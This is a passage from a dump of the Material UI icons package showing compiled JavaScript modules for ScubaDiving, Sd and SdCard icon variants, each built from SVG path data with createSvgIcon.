    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 13c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m7.89-2.89 4.53-1.21-.78-2.9-4.53 1.21c-.8.21-1.28 1.04-1.06 1.84s1.04 1.28 1.84 1.06M20.5 5.9 23 3l-1-1-3 3-2 4-9.48 2.87c-.82.2-1.39.89-1.5 1.68L5.24 18 2.4 21.8 4 23l3-4 1.14-3.14L14 14l5-3.5z\"\n}), 'ScubaDivingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScubaDivingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 13c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m7.89-2.89 4.53-1.21-.78-2.9-4.53 1.21c-.8.21-1.28 1.04-1.06 1.84s1.04 1.28 1.84 1.06M20.5 5.9 23 3l-1-1-3 3-2 4-9.48 2.87c-.82.2-1.39.89-1.5 1.68L5.24 18 2.4 21.8 4 23l3-4 1.14-3.14L14 14l5-3.5z\"\n}), 'ScubaDivingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScubaDivingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 13c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m7.89-2.89 3.56-.95c.53-.14.85-.69.71-1.22l-.26-.97c-.14-.53-.69-.85-1.22-.71l-3.57.95c-.8.21-1.28 1.04-1.06 1.84s1.04 1.28 1.84 1.06m13.63-7.59c-.29-.29-.75-.29-1.04 0L19 5l-2 4-9.48 2.87c-.82.2-1.39.89-1.5 1.68L5.24 18 3 21c-.33.44-.24 1.07.2 1.4s1.07.24 1.4-.2L7 19l1.14-3.14 5.57-1.77c.19-.06.38-.15.54-.27l4.2-2.94c.36-.25.62-.61.75-1.02l1.3-3.96 2.06-2.38c.25-.3.23-.73-.04-1\"\n}), 'ScubaDivingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScubaDivingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 13c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m7.89-2.89 3.56-.95c.53-.14.85-.69.71-1.22l-.26-.97c-.14-.53-.69-.85-1.22-.71l-3.57.95c-.8.21-1.28 1.04-1.06 1.84s1.04 1.28 1.84 1.06m13.63-7.59c-.29-.29-.75-.29-1.04 0L19 5l-2 4-9.48 2.87c-.82.2-1.39.89-1.5 1.68L5.24 18 3 21c-.33.44-.24 1.07.2 1.4s1.07.24 1.4-.2L7 19l1.14-3.14 5.57-1.77c.19-.06.38-.15.54-.27l4.2-2.94c.36-.25.62-.61.75-1.02l1.3-3.96 2.06-2.38c.25-.3.23-.73-.04-1\"\n}), 'ScubaDivingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScubaDivingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 13c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m7.89-2.89 4.53-1.21-.78-2.9-4.53 1.21c-.8.21-1.28 1.04-1.06 1.84s1.04 1.28 1.84 1.06M20.5 5.9 23 3l-1-1-3 3-2 4-9.48 2.87c-.82.2-1.39.89-1.5 1.68L5.24 18 2.4 21.8 4 23l3-4 1.14-3.14L14 14l5-3.5z\"\n}), 'ScubaDivingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScubaDivingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 13c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m7.89-2.89 4.53-1.21-.78-2.9-4.53 1.21c-.8.21-1.28 1.04-1.06 1.84s1.04 1.28 1.84 1.06M20.5 5.9 23 3l-1-1-3 3-2 4-9.48 2.87c-.82.2-1.39.89-1.5 1.68L5.24 18 2.4 21.8 4 23l3-4 1.14-3.14L14 14l5-3.5z\"\n}), 'ScubaDivingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScubaDivingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 13c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m7.89-2.89 4.53-1.21-.78-2.9-4.53 1.21c-.8.21-1.28 1.04-1.06 1.84s1.04 1.28 1.84 1.06M20.5 5.9 23 3l-1-1-3 3-2 4-9.48 2.87c-.82.2-1.39.89-1.5 1.68L5.24 18 2.4 21.8 4 23l3-4 1.14-3.14L14 14l5-3.5z\"\n}), 'ScubaDivingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ScubaDivingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 13c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m7.89-2.89 4.53-1.21-.78-2.9-4.53 1.21c-.8.21-1.28 1.04-1.06 1.84s1.04 1.28 1.84 1.06M20.5 5.9 23 3l-1-1-3 3-2 4-9.48 2.87c-.82.2-1.39.89-1.5 1.68L5.24 18 2.4 21.8 4 23l3-4 1.14-3.14L14 14l5-3.5z\"\n}), 'ScubaDivingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Sd.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-6 6h4c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1h-4zm-3.5 4.5v-1H7c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v1H9.5v-.5h-2v1H10c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1v-1h1.5v.5zm5 0h2v-3h-2z\"\n}), 'Sd');"
  },
  {
    "path": "packages/mui-icons-material/lib/Sd.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-6 6h4c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1h-4zm-3.5 4.5v-1H7c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v1H9.5v-.5h-2v1H10c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1v-1h1.5v.5zm5 0h2v-3h-2z\"\n}), 'Sd');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdCard.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2h-8L4.02 8 4 20c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-6 6h-2V4h2zm3 0h-2V4h2zm3 0h-2V4h2z\"\n}), 'SdCard');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdCard.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2h-8L4.02 8 4 20c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-6 6h-2V4h2zm3 0h-2V4h2zm3 0h-2V4h2z\"\n}), 'SdCard');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdCardAlert.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2h-8L4.02 8 4 20c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-5 15h-2v-2h2zm0-4h-2V8h2z\"\n}), 'SdCardAlert');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdCardAlert.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2h-8L4.02 8 4 20c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-5 15h-2v-2h2zm0-4h-2V8h2z\"\n}), 'SdCardAlert');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdCardAlertOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2h-8L4.02 8 4 20c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H6V8.83L10.83 4H18zm-7-5h2v2h-2zm0-7h2v5h-2z\"\n}), 'SdCardAlertOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdCardAlertOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2h-8L4.02 8 4 20c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H6V8.83L10.83 4H18zm-7-5h2v2h-2zm0-7h2v5h-2z\"\n}), 'SdCardAlertOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdCardAlertRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2h-7.17c-.53 0-1.04.21-1.42.59L4.6 7.42c-.37.37-.58.88-.58 1.4L4 20c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-5 15h-2v-2h2zm-1-4c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1s1 .45 1 1v3c0 .55-.45 1-1 1\"\n}), 'SdCardAlertRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdCardAlertRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2h-7.17c-.53 0-1.04.21-1.42.59L4.6 7.42c-.37.37-.58.88-.58 1.4L4 20c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-5 15h-2v-2h2zm-1-4c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1s1 .45 1 1v3c0 .55-.45 1-1 1\"\n}), 'SdCardAlertRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdCardAlertSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H10L4 8v14h16zm-7 15h-2v-2h2zm0-4h-2V8h2z\"\n}), 'SdCardAlertSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdCardAlertSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H10L4 8v14h16zm-7 15h-2v-2h2zm0-4h-2V8h2z\"\n}), 'SdCardAlertSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdCardAlertTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 8.83V20h12V4h-7.17zM11 8h2v5h-2zm0 7h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2h-8L4 8v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H6V8.83L10.83 4H18zm-7-5h2v2h-2zm0-7h2v5h-2z\"\n}, \"1\")], 'SdCardAlertTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdCardAlertTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 8.83V20h12V4h-7.17zM11 8h2v5h-2zm0 7h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2h-8L4 8v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H6V8.83L10.83 4H18zm-7-5h2v2h-2zm0-7h2v5h-2z\"\n}, \"1\")], 'SdCardAlertTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdCardOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2h-8L4 8v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H6V8.83L10.83 4H18zM9 7h2v4H9zm3 0h2v4h-2zm3 0h2v4h-2z\"\n}), 'SdCardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdCardOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2h-8L4 8v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H6V8.83L10.83 4H18zM9 7h2v4H9zm3 0h2v4h-2zm3 0h2v4h-2z\"\n}), 'SdCardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdCardRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2h-7.17c-.53 0-1.04.21-1.42.59L4.6 7.42c-.37.37-.6.88-.6 1.4V20c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-7 6c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1m3 0c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1m3 0c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1\"\n}), 'SdCardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdCardRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2h-7.17c-.53 0-1.04.21-1.42.59L4.6 7.42c-.37.37-.6.88-.6 1.4V20c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-7 6c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1m3 0c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1m3 0c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1s1 .45 1 1v2c0 .55-.45 1-1 1\"\n}), 'SdCardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdCardSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H10L4 8v14h16zm-8 6h-2V4h2zm3 0h-2V4h2zm3 0h-2V4h2z\"\n}), 'SdCardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdCardSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H10L4 8v14h16zm-8 6h-2V4h2zm3 0h-2V4h2zm3 0h-2V4h2z\"\n}), 'SdCardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdCardTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 8.83V20h12V4h-7.17zM15 7h2v4h-2zm-3 0h2v4h-2zm-1 4H9V7h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2h-8L4 8v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H6V8.83L10.83 4H18zM9 7h2v4H9zm3 0h2v4h-2zm3 0h2v4h-2z\"\n}, \"1\")], 'SdCardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdCardTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 8.83V20h12V4h-7.17zM15 7h2v4h-2zm-3 0h2v4h-2zm-1 4H9V7h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2h-8L4 8v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 18H6V8.83L10.83 4H18zM9 7h2v4H9zm3 0h2v4h-2zm3 0h2v4h-2z\"\n}, \"1\")], 'SdCardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 15h3c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1H7.5v-1h2v.5H11v-1c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1h2.5v1h-2V13H6v1c0 .55.45 1 1 1m11-1v-4c0-.55-.45-1-1-1h-4v6h4c.55 0 1-.45 1-1m-1.5-.5h-2v-3h2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}, \"1\")], 'SdOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 15h3c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1H7.5v-1h2v.5H11v-1c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v1.5c0 .55.45 1 1 1h2.5v1h-2V13H6v1c0 .55.45 1 1 1m11-1v-4c0-.55-.45-1-1-1h-4v6h4c.55 0 1-.45 1-1m-1.5-.5h-2v-3h2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m0 14H4V6h16z\"\n}, \"1\")], 'SdOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-7 5h4c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1h-4zm-3.5 4.5v-1H7c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v1H9.5v-.5h-2v1H10c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1v-1h1.5v.5zm5 0h2v-3h-2z\"\n}), 'SdRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.11 0-2 .9-2 2v12c0 1.1.89 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-7 5h4c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1h-4zm-3.5 4.5v-1H7c-.55 0-1-.45-1-1V10c0-.55.45-1 1-1h3c.55 0 1 .45 1 1v1H9.5v-.5h-2v1H10c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1v-1h1.5v.5zm5 0h2v-3h-2z\"\n}), 'SdRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 4v16h20V4zm11 5h4c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1h-4zm-3.5 4.5v-1H6V9h5v2H9.5v-.5h-2v1H11V15H6v-2h1.5v.5zm5 0h2v-3h-2z\"\n}), 'SdSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SdSharp.mjs",
